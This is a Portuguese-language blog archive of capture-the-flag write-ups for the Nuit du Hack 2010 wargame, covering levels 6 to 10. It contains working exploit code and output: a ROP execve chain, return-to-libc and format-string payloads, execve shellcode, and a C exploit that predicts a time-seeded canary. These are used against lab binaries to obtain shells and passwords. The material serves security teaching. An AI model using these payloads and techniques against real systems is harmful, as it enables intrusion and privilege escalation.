m0nad's Blog

Just another WordPress.com site

Archive for the ‘Wargames’ Category

Nuit du Hack Level10 – Return-Oriented Programming

with 4 comments

Ultimo level desse wargame 😀

Bem, confesso que vi um vídeo do da tool ROPgadget, do Jonathan Saiwan (http://shell-storm.org/project/ROPgadget/) que usa este level do wargame como demonstração de sua ferramenta.

Mas entendendo o conceito vou tentar passar aqui para vocês.

O método de exploração tende ser ROP, Return-Oriented Programming, que consiste em utilizar ‘gadgets’, que são endereços de instruções de maquina no próprio binário/processo, instruções estas seguidas da instrução ‘ret’, o encadeamento dessas instruções construímos o shellcode.

Ao rodar o ROPgadget, temos o seguinte output


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget
Syntax: ./ROPgadget <option> <binary> [FLAGS]

Options:
 -file Load file
 -g Search gadgets and make payload
 -elfheader Display ELF Header
 -progheader Display Program Header
 -sectheader Display Section Header
 -symtab Display Symbols Table
 -allheader Display ELF/Program/Section/Symbols Header
 -v Version

Flags:
 -bind Set this flag for make a bind shellcode (optional) (Default local exploit)
 -port <port> Set a listen port, optional (Default 1337)
 -importsc <shellcode> Make payload and convert your shellcode in ROP payload
 -filter <word> Word filter (research slowed)
 -only <keyword> Keyword research (research slowed)
 -opcode <opcode> Search a specific opcode on exec segment
 -string <string> Search a specific hard string on read segment ('?' any char)
 -asm <instructions> Search a specific instructions on exec segment
 -limit <value> Limit the display of gadgets
 -map <start-end> Search gadgets on exec segment between two address

Ex:
 ./ROPgadget -file ./smashme.bin -g -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -importsc "\x6a\x02\x58\xcd\x80\xeb\xf9"
 ./ROPgadget -file ./smashme.bin -g -filter "add %eax" -filter "dec" -bind -port 8080
 ./ROPgadget -file ./smashme.bin -g -only "pop" -filter "eax"
 ./ROPgadget -file ./smashme.bin -g -opcode "\xcd\x80"
 ./ROPgadget -file ./smashme.bin -g -asm "xor %eax,%eax ; ret"
 ./ROPgadget -file ./smashme.bin -g -asm "int \$0x80"
 ./ROPgadget -file ./smashme.bin -g -string "main"
 ./ROPgadget -file ./smashme.bin -g -string "m?in"
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Rodando no binário, ele gera um payload automaticamente.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget -file /home/level10/level10 -g
Gadgets information
============================================================
0x08048145: pop %edi | ret
0x08048162: add $0xc95b5800,%eax | ret
0x08048204: add $0x14,%esp | pop %ebx | pop %ebp | ret
0x08048207: pop %ebx | pop %ebp | ret
0x08048208: pop %ebp | ret
0x0804824c: call *%eax
0x08048251: mov %esp,%ebp | ret
0x08048254: pop %ebx | ret
0x0804825a: inc %esi | ret
0x0804825c: xor %eax,%eax | pop %edi | ret
0x0804825e: inc %eax | ret
0x08048260: int $0x80
0x0804859e: mov %ebp,%esp | pop %ebp | ret
0x080488db: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048950: call *(%esi)
0x08048ac1: call *(%ebx)
0x08048af5: call *%edx
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08048c53: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080493eb: add $0x08,%esp | pop %ebx | pop %ebp | ret
0x08049457: jmp *%eax
0x0804949e: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08049691: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret
0x080496a8: mov $0xffffffff,%edx | pop %ebp | ret
0x0804977e: pop %ebx | pop %esi | pop %ebp | ret
0x08049832: mov %eax,(%ecx) | pop %ebp | ret
0x080499c8: inc %eax | pop %edi | ret
0x08049bd1: add $0x10,%esp | pop %ebx | pop %ebp | ret
0x0804ac47: add $0xe8,%al | ret
0x0804bee2: jmp *(%esi)
0x0804bf04: mov (%edi),%edi | ret
0x0804c29a: add $0x83,%al | ret
0x0804c4db: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804d69a: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804e7fb: xor %eax,%eax | pop %ebx | pop %ebp | ret
0x0804e8b1: jmp *(%ecx)
0x0804ed52: call *(%eax)
0x0804f1eb: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0804fa3e: mov $0x89ffffd9,%esi | ret
0x0804ff52: add $0x0c,%esp | pop %ebx | pop %ebp | ret
0x08050775: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080510db: mov %edx,%edi | ret
0x0805176b: add $0x5d,%al | ret
0x08052032: mov $0xc9fffffa,%edx | ret
0x08052316: pop %esi | pop %ebx | pop %edx | ret
0x08052318: pop %edx | ret
0x08052341: pop %edx | pop %ecx | pop %ebx | ret
0x08052423: mov %edx,%eax | pop %ebp | ret
0x08052486: mov %edx,(%ecx) | pop %ebp | ret
0x0805358f: mov $0xffffffff,%eax | ret
0x0805491e: add $0x89,%al | ret
0x080550a9: push %esp | ret
0x080566ac: call *%ecx
0x08057821: jmp *(%eax)
0x08058a7f: neg %eax | pop %ebp | ret
0x080595cb: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x08059ba0: mov $0x89c87d89,%eax | ret
0x0805eab6: mov %ecx,%eax | ret
0x0806462b: add %ebx,%eax | pop %ebx | pop %ebp | ret
0x08066c21: jmp *(%ebx)
0x0806735a: add $0x5d5bc031,%eax | ret
0x08067efd: mov %ebx,%eax | pop %ebx | pop %ebp | ret
0x08068823: mov $0xffffffff,%eax | pop %ebp | ret
0x080691fd: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x0806a107: inc %eax | pop %edi | pop %esi | ret
0x0806a109: pop %esi | ret
0x0806a14d: inc %eax | inc %eax | inc %eax | ret
0x0806a14e: inc %eax | inc %eax | ret
0x0806a494: call *%edi
0x0806a6b5: call *%ebx
0x0806a9e4: call *%esi
0x0806c074: xchg %eax,%ebp | ret
0x0806d4c4: mov $0x8390080a,%ebx | ret
0x0806f3c5: sub $0x83,%al | ret
0x0806f506: mov (%edx),%eax | mov (%esp),%ebx | mov %ebp,%esp | pop %ebp | ret
0x0806f95c: mov %edx,%eax | ret
0x0806fb03: add $0x1c,%al | ret
0x0806fb1b: pusha | ret
0x0806ff32: jmp *(%edx)
0x0807241f: sub $0x89,%al | ret
0x08076551: add $0xc9fc5d8b,%eax | ret
0x080788c1: mov %eax,(%edx) | ret
0x08078bb2: xchg %eax,%esp | ret
0x0807ac90: add $0x3c,%esp | ret
0x0807b105: add $0x00000000,%eax | ret
0x0807bc70: add $0xc9,%al | ret
0x0807c5a0: mov $0x89fffffd,%edx | ret
0x0807c6d7: xor $0x83fffff6,%eax | ret
0x0807d760: add $0x21,%al | ret
0x0807de18: call *(%edi)
0x0807efad: add $0xe9,%al | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret
0x08083615: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | ret
0x08085131: push %ebp | ret
0x080857df: jmp *%edx
0x08085f98: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085f9a: pop %eax | pop %ebx | pop %esi | pop %edi | ret
0x08085fa1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret
0x080869e5: xchg %eax,%edi | ret
0x0808ac54: mov $0x89ffffd1,%eax | ret
0x08092ce9: add $0x1c,%esp | pop %ebx | pop %ebp | ret
0x08096fc2: xchg %eax,%esi | ret
0x08096ff7: popa | ret
0x0809806f: call *(%ecx)
0x0809878b: mov $0x83fffffd,%eax | ret
0x080991c1: not %eax | ret
0x0809951f: xor %eax,%eax | ret
0x0809a89f: sub $0xc9000005,%eax | ret
0x0809e3b6: xor $0x89ffffff,%eax | ret
0x0809e3d5: xor $0x89000000,%eax | ret
0x0809ff72: mov $0x83000002,%edx | ret
0x080a1080: add $0x18,%esp | pop %ebx | pop %ebp | ret
0x080a16f9: dec %eax | ret
0x080a1749: push %eax | ret
0x080a1759: pop %esp | ret
0x080a1769: pop %eax | ret
0x080a1971: add $0x24,%esp | pop %ebx | pop %ebp | ret
0x080a310a: mov $0x81000010,%edi | ret
0x080a410f: mov $0x81000000,%edx | ret
0x080a41c9: mov (%esp),%ecx | ret
0x080a41cd: mov (%esp),%ebx | ret
0x080a67b8: sub $0x04,%ebx | call *%eax
0x080a6816: ror %ecx | ret
0x080a937e: mov $0xc2c1c0bf,%esi | ret
0x080bc466: xchg %eax,%esi | pop %ebp | ret
0x080bc64e: push %esi | ret
0x080bc698: xchg %eax,%esp | pop %ebp | ret
0x080bf967: jmp *(%edi)
0x080c01cb: call *(%edx)
0x080c17c7: jmp *%esi
0x080c1901: push %edx | ret
0x080c3313: jmp *%edi
0x080c3733: add $0x44,%al | ret
0x080c3a42: dec %ebx | ret

Unique gadgets found: 134

Possible combinations.
============================================================

[+] Combo 1 was found - Possible with the following gadgets. (execve)
 - 0x08048260 => int $0x80
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x080c6001 => .data Addr
 Payload
 # execve /bin/sh generated by RopGadget v3.3
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "/bin"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6005) # @ .data + 4
 p += pack("<I", 0x080a1769) # pop %eax | ret
 p += "//sh"
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6001) # @ .data
 p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x42424242) # padding
 p += pack("<I", 0x08052318) # pop %edx | ret
 p += pack("<I", 0x080c6009) # @ .data + 8
 p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x0804825e) # inc %eax | ret
 p += pack("<I", 0x08048260) # int $0x80
 EOF Payload
[-] Combo 1 was not found, missing instruction(s).
 - .......... => sysenter
 - 0x0804825e => inc %eax | ret
 - 0x0809951f => xor %eax,%eax | ret
 - 0x080788c1 => mov %eax,(%edx) | ret
 - 0x080a1769 => pop %eax | ret
 - 0x08048254 => pop %ebx | ret
 - 0x08052341 => pop %edx | pop %ecx | pop %ebx | ret
 - 0x08052318 => pop %edx | ret
 - 0x08048208 => pop %ebp | ret
 - 0x080c6001 => .data Addr
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Percebemos que ele usa a área de data para colocar a string /bin//sh.

Primeiro usa os gadgets de pop %edx | ret, para colocar o endereço de data em edx.


p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data

Usa o pop %eax | ret para pegar um pedaço da string


p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"

E o mov %eax,(%edx) | ret para mover para a posição de data,


p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

Assim colocamos a string /bin//sh num lugar com permissão de escrita, incluindo o null byte usando o gadget xor %eax, %eax.

p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret

No final, ele usa o xor %eax,%eax | ret para zerar o %eax, e depois inc %eax | ret, para colocar o valor da syscall execve em eax e logo depois chama o int 0x80.


p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80

Bem, mas se rodar este exploit, ele vai dar um segfault, isso é por causa da parte do meio.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8

Ou seja, o que deveria ser é o ebx estar com o endereço da string /bin//sh, que esta em data, no endereço 0x080c6001, e ecx e edx, apontando pro null byte, que esta em data + 8, mas o ROPgadget, deixou o ebx apontando para 0x42424242.


p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding

Modificando o exploit aqui, ficou.


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ cat exploit.py
#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"

from struct import pack

p = "a" * 12
# Generated by RopGadget v3.0
# execve /bin/sh generated by RopGadget v3.3
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6005) # @ .data + 4
p += pack("<I", 0x080a1769) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052318) # pop %edx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x080788c1) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052341) # pop %edx | pop %ecx | pop %ebx | ret
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x080c6001) # @ .data
p += pack("<I", 0x0809951f) # xor %eax,%eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x0804825e) # inc %eax | ret
p += pack("<I", 0x08048260) # int $0x80
print p
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$

Executando…


level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ /home/level10/level10 "$(python ./exploit.py)"
ROP me if you can :]
-> aaaaaaaaaaaa`

/bin�`

//sh�# `
 � �A# `
 `
 `
 � ^�^�^�^�^�^�^�^�^�^�^�`�
$ id
uid=1010(level10) gid=1010(level10) euid=1000(l33t) groups=1000(l33t),1010(level10)
$ whoami
l33t
$ cat /home/l33t/passwd
4JS!sf.
$

l33t! 😀

Logando no l33t, não temos desafio, apenas o código do level10


l33t@wargame2k10:~$ cat rop.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level10 level10.c -static -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level10

void rop()
{
 __asm("ret");

__asm("pop %ebx");
 __asm("ret");

__asm("nop");
 __asm("movl %esi, %edx");
 __asm("pop %esi");
 __asm("inc %esi");
 __asm("ret");

__asm("xor %eax, %eax");
 __asm("inc %eax");
 __asm("ret");

__asm("int $0x80");
}

void vuln(char *buff)
{
 char tmp[8] = {'\0'};

strcpy(tmp, buff);
 printf("-> %s\n", tmp);
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
 printf("%s <arg>\n", argv[0]);
 exit(0);
 }
 printf("ROP me if you can :]\n");

vuln(argv[1]);
 return 0;
}
l33t@wargame2k10:~$

É isso ai wargame zerado 😀

Anúncios

Written by m0nad

janeiro 20, 2012 at 5:44 pm

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level9 – Return to LibC

leave a comment »

Level9 do nuit du hack, lendo o source..


$ cat level9.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level9 level9.c -fno-stack-protector -mpreferred-stack-boundary=2
// paxctl -c -Spermx level9

void sayHello(char *tmp)
{
 char login[50];

strcpy(login, tmp);
 printf("Hi %s !\n", login);
}

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }
 sayHello(argv[1]);

exit(0);
}

Vemos que não foi compilado com -z execstack, e temos a proteção do pax, isso significa que temos que fazer um return to libc 🙂

Vamos ver dentro do gdb.


(gdb) r $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\xdd\xcc\xbb\xaa"')
Hi �������������������������������������������������������̻� !

Program received signal SIGSEGV, Segmentation fault.
0xaabbccdd in ?? ()
(gdb)

Controlamos facilmente o eip, vamos colocar um /bin/sh numa variável de ambiente, e pegar seu endereço.


$ export SC=" /bin/sh"
$ /tmp/getenv SC
0xbfffffae
$

Legal, vamos pegar o endereço da função system.


(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecf180 <system>
(gdb)

Certo, precisamos então colocar

[54 bytes ĺixo] [&system] [4 bytes lixo] [&”/bin/sh”]


(gdb) r $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level9/level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
Hi �����������������������������������������������������������̻����� !
$

yahuu uma shell 😀

Fora do gdb…


$ ./level9 $(perl -e 'print "\xee" x 54 . "\x80\xf1\xec\xb7" . "\xdd\xcc\xbb\xaa" . "\xae\xff\xff\xbf"')
 Hi �����������������������������������������������������������̻����� !
 $ id
 uid=1009(level9) gid=1009(level9) euid=1010(level10) groupes=1010(level10),1009(level9)
 $ cat /home/level10/passwd
 z8D4ds
 $

PWNED! 🙂

Written by m0nad

janeiro 20, 2012 at 5:16 pm

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level8 – Format String Bug

with one comment

Mais um level do nuit du hack 🙂

Vamos ao source


#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }

printf(argv[1]);
 printf("\nNice to see you\n");

exit(0);
}

Temos um clássico format string bug, vamos testar.


level8@wargame2k10:~$ ./level8 "0x%x"
0xbffff868
Nice to see you
level8@wargame2k10:~$

Podemos ver que demos um pop em um valor da stack, vamos tentar ler uma área arbitraria da memória.

Com um for e grep, achamos a shell como exemplo


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "%$i\$s" |grep SHELL && echo $i; done
SHELL=/bin/sh
47
level8@wargame2k10:~$

E depois usamos o offset 47 para ler essa área da memória.


level8@wargame2k10:~$ ./level8 "%47\$s"
SHELL=/bin/sh
Nice to see you
level8@wargame2k10:~$

Podemos escrever escrever em areas de memoria arbitrariamente, usando %n, para isso basta termos o offset da onde nosso endereço esta na stack, para isso bastar achar o offset de onde nosso endereço vai estar, e o %n escrevera a quantidade de bytes digitados até então, lembrando que podemos usar %u para colocar mais bytes.


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "AAAAB[0x%$i\$x]" |grep 4141 && echo $i; done
AAAAB[0x41414141]
115

level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$x]"
AAAAB[0x41414141]
Nice to see you
level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$n]"
Erreur de segmentation
level8@wargame2k10:~$

O motivo da falha de segmentação foi por que tentamos escrever em 0x41414141, que não é um endereço valido, então podemos sobrescreve um endereço de retorno na pilha, por exemplo, ou a GOT no endereço de exit.ou demos o .dtor, vamos no endereço de retorno.

Dentro do gdb, disas main.

(gdb) disas main
Dump of assembler code for function main:
0x08048424 <main+0>: push %ebp
0x08048425 <main+1>: mov %esp,%ebp
0x08048427 <main+3>: sub $0x4,%esp
0x0804842a <main+6>: cmpl $0x1,0x8(%ebp)
0x0804842e <main+10>: jg 0x8048448 <main+36>
0x08048430 <main+12>: movl $0x8048530,(%esp)
0x08048437 <main+19>: call 0x8048350 <puts@plt>
0x0804843c <main+24>: movl $0xffffffff,(%esp)
0x08048443 <main+31>: call 0x8048360 <exit@plt>
0x08048448 <main+36>: mov 0xc(%ebp),%eax
0x0804844b <main+39>: add $0x4,%eax
0x0804844e <main+42>: mov (%eax),%eax
0x08048450 <main+44>: mov %eax,(%esp)
0x08048453 <main+47>: call 0x8048340 <printf@plt>
0x08048458 <main+52>: movl $0x804853e,(%esp)
0x0804845f <main+59>: call 0x8048350 <puts@plt>
0x08048464 <main+64>: movl $0x0,(%esp)
0x0804846b <main+71>: call 0x8048360 <exit@plt>
End of assembler dump.
(gdb)

Colodamos um Breakpoint na printf da plt.

(gdb) b *0x8048340
Breakpoint 1 at 0x8048340
(gdb)

Rodamos e vemos o topo da pilha, que estará o endereço de retorno salvo.

(gdb) r a
Starting program: /home/level8/level8 a

Breakpoint 1, 0x08048340 in printf@plt ()

(gdb) x/x $esp
0xbffffc60: 0x08048458
(gdb)

O que precisamos fazer é sobrescrever o endereço 0xbffffcd0 com o endereço do nosso shellcode.

Colocamos nosso shellcode numa variável de ambiente.


$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
level8@wargame2k10:~$ /tmp/getenv SC
0xbfffff3e
level8@wargame2k10:~$

Vamos escrever byte a byte, usando %n,

isto é nos endereços: bffffc60, bffffc61, bffffc62, bffffc63,

por causa da quantidade de bytes o offset mudou pra 118.


(gdb) r $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level8/level8 $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')

Breakpoint 1, 0x08048340 in printf@plt ()
(gdb) c
Continuing.
Executing new program: /bin/dash
$

Executamos a shell 😀

Fora do gdb,..

$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8)
$ cat /home/level9/passwd
g974d.

Até a próxima 🙂

Written by m0nad

janeiro 18, 2012 at 5:05 am

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level7 – Pseudo-random canary

with one comment

Ae pessoal, mais um level do nuit du hack.

Como de costume vou começar olhando o source.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
 unsigned int cookie = secret;
 char tmp[64] = {'\0'};

 strcpy(tmp, arg);
 if(cookie!=secret) {
  printf("It's not my cookie :(\n");
  exit(0);
 }

 return 1337;
}

int main(int argc, char *argv[])
{
 if(argc != 2) {
  printf("%s <P0wn Me!> \n", argv[0]);
  exit(0);
 }

 srand(time(NULL));
 secret = rand();

 printf("GooD Boy 🙂 %08X\n", secret);

 vuln(argv[1]);
 return 0;
}

Temos um cookie(canary) na função vuln, quando fazemos o overflow no buffer tmp, alteramos a variável cookie, e essa variável verificada antes do return e caso esteja diferente do valor original o programa é finalizado, impedindo a exploração pois a instrução ret não ira dar o jmp para o nosso endereço.

A ideia aqui é tentar gerar o mesmo cookie e coloca-lo exatamente na posição aonde o mesmo está na stack, vemos que ele gera o cookie usando a funcao rand e usando o seed como o time, só precisamos gerar o mesmo seed, ou seja no executar no mesmo segundo, vamos tentar gerar o mesmo cookie.


$ cat > /tmp/poc1_lvl7.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 64

int
main()
{
 char arg[BUF];
 char * args[] = { NAME, arg, NULL } ;
 int cookie;

 memset(arg, 'A', BUF);

 srand(time(NULL));
 cookie = rand();

 printf("cookie %x\n", cookie);

 execve(PATH, args, NULL);

 return 0;
}
^C
$ gcc -o /tmp/poc1_lvl7 /tmp/poc1_lvl7.c
$ /tmp/poc1_lvl7
cookie 6bedffd0
GooD Boy 🙂 6BEDFFD0
$

Funciona! podemos gerar o mesmo cookie, agora basta basta colocar o cookie na posição logo acima do buffer tmp, que é 64 bytes, e depois o eip para o shellcode, que com um pouco de debug achei a 80 bytes apos o começo do buffer tmp, vamos usar execle para controlarmos o ambiente, colocando o shellcode no enviroment, e calculando sua posição a partir do 0xbffffffa. Segue abaixo o exploit.


$ cat > /tmp/xpl.c
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define PATH "/home/level7/level7"
#define NAME "level7"
#define BUF 85
#define EIP_OFFSET 80
#define COOKIE_OFFSET 64

int
main()
{
 char arg[BUF];
 char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80";
 void * env[] = { sc, NULL } ;
 int cookie, addr = 0xbffffffa - strlen(PATH) - strlen(sc);

 memset(arg, 'A', BUF);

 srand(time(NULL));
 cookie = rand();

 *(int *)(arg + COOKIE_OFFSET) = cookie;
 *(int *)(arg + EIP_OFFSET) = addr;

 printf("arg %s\n", arg);
 printf("cookie %x\n", *(int *)(arg + COOKIE_OFFSET));
 printf("eip %x\n", addr);

 execle(PATH, NAME, arg, NULL, env);

 return 0;
}
^C
$ gcc -o /tmp/xpl /tmp/xpl.c
$ /tmp/xpl
arg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAԀ�*AAAAAAAAAAAA����AԀ�*����P�
cookie 2a8480d4
eip bfffffce
GooD Boy 🙂 2A8480D4
$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1008(level8),1007(level7)
$ cat /home/level8/passwd
sgfc.g
$

Yahuu! até a próxima 😀

Written by m0nad

dezembro 29, 2011 at 12:52 am

Publicado em Assembly, C, Segurança, Wargames

Nuit du Hack Level6 – Off-by-one error

with one comment

E ai galera, vamos mais uma solução do nuit du hack wargame, agora no level 6.

Vamos ler o code.


#include <stdlib.h>
#include <stdio.h>
#include <string.h>

// gcc -o level6 level6.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int layer(char *arg){
 if(strlen(arg)>128) {
  printf("Aww noes you'r crazy !\n");
  exit(0);
 }
 char buf[128];
 strcpy(buf, arg);
 return 0;
}

int main(int argc, char *argv[])
{
 if(!argv[1]) return;

 layer(argv[1]);
 return 0;
}

